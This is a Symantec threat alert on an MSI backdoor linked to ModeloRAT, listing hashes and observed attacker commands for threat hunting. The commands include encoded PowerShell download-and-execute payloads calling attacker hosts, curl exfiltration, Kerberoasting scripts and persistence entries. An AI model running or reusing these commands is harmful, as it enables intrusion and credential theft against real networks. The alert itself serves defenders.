BROADCOM CONFIDENTIAL

THREAT ALERT

From Threat Hunter Team

New Backdoor Deployed in Cybercrime attacks

New tool may be associated with developers of ModeloRAT, which was also used in one attack.

Actor:

Unknown

Target Sectors:

All

Actor Aliases:

N/A

Attack Motivation:

Cybercrime

Target Geographies:

All

Overview

A relatively new backdoor has been deployed in in a number of recent attacks. In one, it was used in conjucttion with ModeloRAT, which was also used for remote access and control over infected machines. ModeloRAT is a relatively new Python-based RAT that is developed by a threat group tracked publicly under the name KongTuke. KongTuke reportedly functions primarily as an initial access broker (IAB). Their goal is not to execute the final payload themselves, but to establish highly durable remote access within an enterprise and sell this high-level access to ransomware affiliates for a fee.

The previously undocumented .msi backdoor may be associated with ModeloRAT, as we observed deployment of both tools in close proximity to each other. There is a possibility it may also have been developed by KongTuke. The backdoor can run remote payloads directly in memory. It also has typical backdoor capabilities such as uploading, downloading, moving, renaming and deleting files. It can create folders, modify the frequency with which it checks for commands, and also contains a kill switch that allows it to terminate and delete itself.

Tools Used:

- **MSI backdoor**
- **Credential stealer**
- **ModeloRAT:** A Python-based Remote Access Trojan (RAT) offering remote access capabilities, used by various threat actors.
- **Curl:** Open-source command-line tool for transferring data using various network protocols.
- **Reg.exe:** Windows command line tool that can be used to edit the registry of local or remote computers.
- **Net (net.exe):** Microsoft tool that can be used to manage network resources.
- **PowerShell:** Microsoft scripting tool that can be used to run commands, download payloads, traverse compromised networks, and carry out reconnaissance.
- **Certutil:** Microsoft Windows utility that can be used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates.
- **WMIC (Windows Management Instrumentation):** Microsoft command-line tool that can be used to execute commands on remote computers.

Indicators of Compromise

SOC analysts should review this alert and hunt on their network for associated indicators of compromise (IOCs). Their presence may indicate a cyberattack in preparation. If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. If you discover any other unknown or unavailable files while hunting, you can submit them to Symantec for analysis.

Symantec products will detect and alert against the behaviors and techniques detailed in this alert. For guidance on how to use Symantec Endpoint Security Complete for Threat Hunting, please review this document.

SHA256 file hash: 1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984
Description: MSI backdoor
File name(s): endpointdlp.dll
Last seen: 2026-04-28
Process lineage(s):

- cmd.exe <= conhost.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= conhost.exe <= explorer.exe

SHA256 file hash: 34d798a6c55e57ed0932b6499f4fbcb5454bdfca903307be101a0594b0ac07bc
Description: Fake Lock Screen
File name(s): f.dll
Last seen: 2026-03-02

SHA256 file hash: 3f797a639bc855bc6d5471f327924b62d10900ddec49b970eca6604142bbb4be
Description: MSI backdoor
File name(s): aeff97fe.msi
Last seen: 2026-04-20

SHA256 file hash: 59e3c4cb06331b4f2d78a9a0592f3747e573bd01c5a7650c26361d1e25520712
Description: Loader for backdoor
File name(s): version.dll
Last seen: 2026-05-26

SHA256 file hash: 8c935feec4bd05d5d918df308be417532fb42608fb989a08eab183e0ae699235
Description: Likely Privilege Escalation
File name(s): n.dll
Last seen: 2026-03-02

SHA256 file hash: afd5f1ed45a9867daf3bc64152cef460a06b164c8183e490db39146d4749a82c
Description: MSI backdoor
File name(s): endpointdlp.dll
Last seen: 2026-04-20

SHA256 file hash: db972979d508e75fe730d3b72c2701470fbdaeaf8ebdd674744754fa44438ca5
Description: MSI backdoor
File name(s): endpointdlp.dll
Last seen: 2026-04-16

SHA256 file hash: f591275a8f014b29e567529d67c54eb7bb4473db1c38737d6bfd5b3d52c9344e
Description: MSI backdoor
File name(s): 48b47c0.msi
Last seen: 2026-04-26

SHA256 file hash: fb3630822b70bacb56aa4cec29b5a0e3e9acb3920809e70310a4003385a6d34a
Description: MSI backdoor
File name(s): endpointdlp.dll
Last seen: 2026-05-26

SHA256 file hash: None
Description: ModeloRAT
File name(s): powershell.exe
Last seen: 2026-04-09
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe
- cmd.exe <= rundll32.exe <= powershell.exe <= cmd.exe <= powershell.exe <= windowsterminal.exe <= wt.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe
- pythonw.exe <= pythonw.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- "CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe" -w h -EncodedCommand
JABhAHIAYwBoAGkAdgBlAFUAcgBsACAAPQAgACIAaAB0AHQAcAA6AC8ALwAxADQANAAuADMAMQAuADUAMwAuADcAOAA6ADgAMAAvAGYAaQBuAGEAbAAxADAAIgAKACQAZABhAHQAYQBQAGEAdABoACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABPAEYARgBJAEMARQAiAAoAJABkAG8AdwBuAGwAbwBhAGQAUABhAHQAaAAgAD0AIAAiACQAZABhAHQAYQBQAGEAdABoAFwAYQByAGMAaABpAHYAZQAuAHoAaQBwACIACgAkAGUAeAB0AHIAYQBjAHQAUABhAHQAaAAgAD0AIAAiACQAZABhAHQAYQBQAGEAdABoACIACgAkAHAAeQB0AGgAbwBuAFMAYwByAGkAcAB0ACAAPQAgACIAJABkAGEAdABhAFAAYQB0AGgAXABoAGUAbABsAG8ALQBiAHIAbwAuAHAAeQB3ACIACgAkAHAAeQB0AGgAbwBuAHcAUABhAHQAaAAgAD0AIAAiACQAZABhAHQAYQBQAGEAdABoAFwAcAB5AHQAaABvAG4AdwAuAGUAeABlACIACgAKAHQAcgB5ACAAewAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAZABhAHQAYQBQAGEAdABoACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAZABhAHQAYQBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAB9AAoAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABhAHIAYwBoAGkAdgBlAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABkAG8AdwBuAGwAbwBhAGQAUABhAHQAaAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACQAZABvAHcAbgBsAG8AYQBkAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJABlAHgAdAByAGEAYwB0AFAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZABvAHcAbgBsAG8AYQBkAFAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHAAeQB0AGgAbwBuAHcAUABhAHQAaAApACAAewAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAHAAeQB0AGgAbwBuAHcAUABhAHQAaAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAGAAIgAkAHAAeQB0AGgAbwBuAFMAYwByAGkAcAB0AGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAKACAAIAAgACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0AVwBhAHIAbgBpAG4AZwAgACIAcAB5AHQAaABvAG4AdwAuAGUAeABlACAAbgBvAHQAIABmAG8AdQBuAGQAIABhAHQAIAAkAHAAeQB0AGgAbwBuAHcAUABhAHQAaAAiAAoAIAAgACAAIAB9AAoAfQAKAGMAYQB0AGMAaAAgAHsACgAKAH0A
- powershell -Command "$searcher = [adsisearcher]'(&(objectCategory=user)(description=*))'; $searcher.PropertiesToLoad.Add('samaccountname'); $searcher.PropertiesToLoad.Add('description'); $results = $searcher.FindAll(); foreach ($result in $results) { $result.Properties['samaccountname'][0] + ' - ' + $result.Properties['description'][0] }"
- powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "$vbsContent = @' Set WshShell = CreateObject(\" WScript.Shell\") command = \"powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"\"Start-Sleep -Seconds 6; 1; \"AF\"; cd $env:appdata\WPy64-31401\python; 6; \"LP\"; .\pythonw.exe .\nlib.py\"\"\" WshShell.Run command, 0, False Set WshShell = Nothing '@;$vbsPath = \"$env:APPDATA\WPy64-31401\python\script.vbs\";$vbsContent | Out-File -FilePath $vbsPath -Encoding ASCII;$WshShell = New-Object -comObject WScript.Shell;$Shortcut = $WshShell.CreateShortcut(\"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\AppInit.lnk\");$Shortcut.TargetPath = $vbsPath; 2; [REMOVED]
- powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "\"FGB\"; 4; 4; iwr -Uri 'https://www.dropbox.com/scl/fi/zq7sum8y4twn3epo9xm3g/internal.py?rlkey=b7666ibal423tyu52fb2qkzns&st=qporszvi&dl=1' -OutFile \" $env:appdata\WPy64-31401\python\internal.py\"; 3; 5; \" \"; cd $env:appdata\WPy64-31401\python; .\pythonw.exe .\internal.py "
- powershell -c "$null=[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel');$a='[REMOVED]';$b='[REMOVED]';$c=New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken $a;$d=$c.GetRequest();if($d){$e=([System.BitConverter]::ToString($d)-replace'-');$f=[System.Collections.ArrayList]](($e -replace '^(.*?)04820...(.*)','$2') -split 'A48201');$f.RemoveAt($f.Count-1);$g=$f-join'A48201';$g=$g.Insert(32,'$');Write-Output('$krb5tgs$23$*'+$b+'/'+$a+'*$'+$g)}"
- powershell -c "([adsisearcher]'(&(objectCategory=user)(servicePrincipalName=*))').FindAll()"
- powershell -c "setspn -T [REMOVED] -Q */* | ForEach-Object -Begin {$x=$false} -Process {if($_ -match '^CN='){if($_ -match '^CN=krbtgt' -or $_ -match 'CN=Computers,' -or $_ -match 'OU=Domain Controllers'){$x=$true}else{$x=$false;'';$_}}elseif(!$x -and $_ -ne ''){' '+$_.Trim()}}"
- powershell -w h "([adsisearcher]'(&(objectCategory=User)(servicePrincipalName=*))').FindAll()"
- powershell.exe -ExecutionPolicy bypass -Command "$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel'); $search = New-Object DirectoryServices.DirectorySearcher([ADSI]''); $search.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $results = $search.Findall(); foreach ($results in $results) { $u = $results.GetDirectoryEntry(); $samAccountName = $u.samAccountName; foreach ($s in $u.servicePrincipalName) { $Ticket = $null; try { $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $s; } catch [System.Management.Automation.MethodInvocationException] {} if ($Ticket -ne $null) { $TicketByteStream = $Ticket.GetRequest(); if ($TicketByteStream) { $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'; [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)', '$2') -Split 'A48201'; $Parts.RemoveAt($Parts.Count - 1); $Hash = $Parts -join 'A48201'; try { $Hash = $Hash.Insert(32, '$'); $HashFormat = '$krb5tgs23*' + $samAccountName + '/' + $s + '*$' + $Hash; Write-Host $HashFormat; break; } catch [System.Management.Automation.MethodInvocationException] {} } } } }"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-NetNeighbor -AddressFamily IPv4 | Where-Object { $_.State -ne 'Permanent' } | Select-Object @{Name='Interface'; Expression={$_.InterfaceAlias}}, @{Name='Internet Address'; Expression={$_.IPAddress}}, @{Name='Physical Address'; Expression={$_.LinkLayerAddress}}, @{Name='Type'; Expression={'dynamic'}} | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-PSDrive -PSProvider FileSystem | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-Service | Select-Object -Property Name, DisplayName | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"

SHA256 file hash: None
Description: Gather System Information
File name(s): powershell.exe
Last seen: 2026-04-07
Process lineage(s):

- node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- node.exe <= node.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-NetNeighbor -AddressFamily IPv4 | Where-Object { $_.State -ne 'Permanent' } | Select-Object @{Name='Interface'; Expression={$_.InterfaceAlias}}, @{Name='Internet Address'; Expression={$_.IPAddress}}, @{Name='Physical Address'; Expression={$_.LinkLayerAddress}}, @{Name='Type'; Expression={'dynamic'}} | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-PSDrive -PSProvider FileSystem | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-Service | Select-Object -Property Name, DisplayName | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"

SHA256 file hash: None
Description: Curl
File name(s): curl.exe
Last seen: 2026-04-27
Process lineage(s):

- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= cmd.exe <= powershell.exe <= mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe
- cmd.exe <= cmd.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe
- cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= conhost.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= explorer.exe
- cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- curl -s https://mueleer.com/t2?tk=[REMOVED] -o CSIDL_PROFILE\appdata\local\temp\t.cmd
- curl -s https://oeannon.com/t2?tk=[REMOVED] -o CSIDL_PROFILE\appdata\local\temp\t.cmd
- curl -s https://www.upd-domain-goloro.com/lkwenrfewk.ico
- curl -sLo CSIDL_PROFILE\appdata\local\temp\t.cmd https://oeannon.com/t2?tk=[REMOVED]
- curl -skLo CSIDL_PROFILE\appdata\local\temp\x\t https://cj06y9v4xab.com/d
- curl -v -X POST https://ftps.upd-domain-goloro.com/Swd0dvicMtA0lsCvtIJg -H "Content-Type: application/octet-stream" --data-binary "[REMOVED]" --max-time 300
- curl -v https://defs.updater-worelos.com/node.zip -o CSIDL_PROFILE\appdata\local\temp\node.zip
- curl -v https://www.rotoa-upda-lo.com/oekhdsfw9ogr7w.rtf
- curl https://defs.updater-worelos.com/goEG38PtmVX651vNwmWp@ -o CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log
- curl https://ftps.upd-domain-goloro.com/WQFwWMfA4st6dvQ5feu7@ -o CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log
- curl https://grande-luna.top/o
- curl https://human-check.top/o

SHA256 file hash: None
Description: Command for screen capture
File name(s): screencapture_1.3.2.exe
Last seen: 2026-04-08
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- screenCapture_1.3.2.exe CSIDL_PROFILE\appdata\local\temp\[REMOVED].png

SHA256 file hash: None
Description: ModeloRAT
File name(s): pythonw.exe
Last seen: 2026-05-07
Process lineage(s):

- powershell.exe <= geocdr.exe <= svchost.exe <= services.exe <= wininit.exe
- pythonw.exe <= pythonw.exe <= powershell.exe <= explorer.exe <= userinit.exe <= kusrinit.exe <= winlogon.exe
- pythonw.exe <= powershell.exe <= explorer.exe <= userinit.exe <= kusrinit.exe <= winlogon.exe
- pythonw.exe <= powershell.exe <= geocdr.exe <= svchost.exe <= services.exe <= wininit.exe
- pythonw.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- pythonw.exe <= powershell.exe <= powershell.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe <= smss.exe <= smss.exe
- pythonw.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe
- powershell.exe <= powershell.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe <= smss.exe <= smss.exe

Command(s):

- "CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe" CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\collector.py
- CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL_PROFILE\appdata\local\temp\hewlett-packard7390.py
- CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL_PROFILE\appdata\roaming\proxy-3671643378.py
- CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\nlib.py start
- CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL_PROFILE\appdata\roaming\wpy64-31401\python\pmanager.py start

SHA256 file hash: None
Description: Reg
File name(s): reg.exe
Last seen: 2026-04-07
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AnyDesk" /t REG_SZ /d "\"CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe" \"CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log"" /f

SHA256 file hash: None
Description: MSI backdoor
File name(s): rundll32.exe
Last seen: 2026-04-27
Process lineage(s):

- cmd.exe <= conhost.exe <= explorer.exe

Command(s):

- rundll32 endpointdlp.dll,#1

SHA256 file hash: None
Description: Net
File name(s): net1.exe
Last seen: 2026-04-07
Process lineage(s):

- net.exe <= cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- CSIDL_SYSTEM\net1 user [REMOVED] /domain
- net1 group "Domain Computers" /domain
- net1 group "Domain Controllers" /domain
- net1 session

SHA256 file hash: None
Description: WMIC
File name(s): wmic.exe
Last seen: 2026-03-13
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- wmic process where "name=[REMOVED] get Name,CreationDate,CommandLine,ProcessId"

SHA256 file hash: None
Description: Net
File name(s): net1.exe
Last seen: 2026-03-13
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe
- net.exe <= cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- CSIDL_SYSTEM\net1 user [REMOVED] /domain
- net1 group "Domain [REMOVED] /domain "
- net1 group "Domain [REMOVED] /domain"
- net1 session

SHA256 file hash: None
Description: Curl
File name(s): curl.exe
Last seen: 2026-04-07
Process lineage(s):

- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- curl -s https://mueleer.com/t2?tk=[REMOVED] -o CSIDL_PROFILE\appdata\local\temp\t.cmd
- curl -v -X POST https://nano.upscale-kolo.com/7YGWuUADJn977XeR90rp -H "[REMOVED]" --max-time 300
- curl -v https://www.upscale-kolo.com/uiohn4fbjzdx.img
- curl https://human-check.top/o
- curl https://update.update-fall.com/7YGWuUADJn977XeR90rp@ -o CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log

SHA256 file hash: None
Description: Curl
File name(s): powershell.exe
Last seen: 2026-05-25
Process lineage(s):

- winrar.exe <= outlook.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- "CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe" -w h -c start curl -args '194.87.57.81/nfg6','-o','CSIDL_COMMON_APPDATA\t.cmd'; sleep 5;CSIDL_COMMON_APPDATA\t.cmd

SHA256 file hash: None
Description: Node
File name(s): node.exe
Last seen: 2026-04-16
Process lineage(s):

- node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log 4pz
- CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log e
- CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log nxtp72q
- CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\template.txt 2mtymj0i0
- CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\template.txt 40r8y9

SHA256 file hash: None
Description: Obfuscated command
File name(s): powershell.exe
Last seen: 2026-04-16
Process lineage(s):

- powershell.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe <= smss.exe <= smss.exe
- cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe
- cmd.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe
- node.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- "CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe" -w h -EncodedCommand
JABhAHIAYwBoAGkAdgBlAFUAcgBsACAAPQAgACIAaAB0AHQAcABzADoALwAvAGgAdQBtAGEAbgAtAGMAaABlAGMAawAuAHQAbwBwAC
8AZgBpAG4AYQBsADEAMAAiAAoAJABkAGEAdABhAFAAYQB0AGgAIAA9ACAAIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQ
QBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAG8AZgB0AHcAYQByAGUAUAByAG8AdABlAGMAdAB
pAG8AbgBQAGwAYQB0AGYAbwByAG0AIgAKACQAZABvAHcAbgBsAG8AYQBkAFAAYQB0AGgAIAA9ACAAIgAkAGQAYQB0AGEAUABhAH
QAaABcAGEAcgBjAGgAaQB2AGUALgB6AGkAcAAiAAoAJABlAHgAdAByAGEAYwB0AFAAYQB0AGgAIAA9ACAAIgAkAGQAYQB0AGEAUABh
AHQAaAAiAAoAJABwAHkAdABoAG8AbgBTAGMAcgBpAHAAdAAgAD0AIAAiACQAZABhAHQAYQBQAGEAdABoAFwAcgB1AG4ALgBwAHkAd
wAiAAoAJABwAHkAdABoAG8AbgB3AFAAYQB0AGgAIAA9ACAAIgAkAGQAYQB0AGEAUABhAHQAaABcAHAAeQB0AGgAbwBuAHcALgBlAH
gAZQAiAAoAJAB0AGEAcwBrAE4AYQBtAGUAIAA9ACAAIgBTAG8AZgB0AHcAYQByAGUAUAByAG8AdABlAGMAdABpAG8AbgAiAAoAdAByA
HkAIAB7AAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABkAGEAdABhAFAAYQB0AGgAKQ
ApACAAewAKACAAIAAgACAAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8A
cgB5ACAALQBQAGEAdABoACAAJABkAGEAdABhAFAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBu
ACAAUwB0AG8AcAAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0ACgAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUg
BlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAGEAcgBjAGgAaQB2AGUAVQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGQAbwB3AG4
AbABvAGEAZABQAGEAdABoACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA
KACAAIAAgACAARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABkAG8AdwBuAGwAbwBhAGQAUABhA
HQAaAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAkAGUAeAB0AHIAYQBjAHQAUABhAHQAaAAgAC0ARgBvAHIAY
wBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAUgBlAG0
AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABkAG8AdwBuAGwAbwBhAGQAUABhAHQAaAAgAC0ARgBvAHIAYwBlACAALQ
BFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoAIAAgACAAIAAkAHQAYQBzAGsA
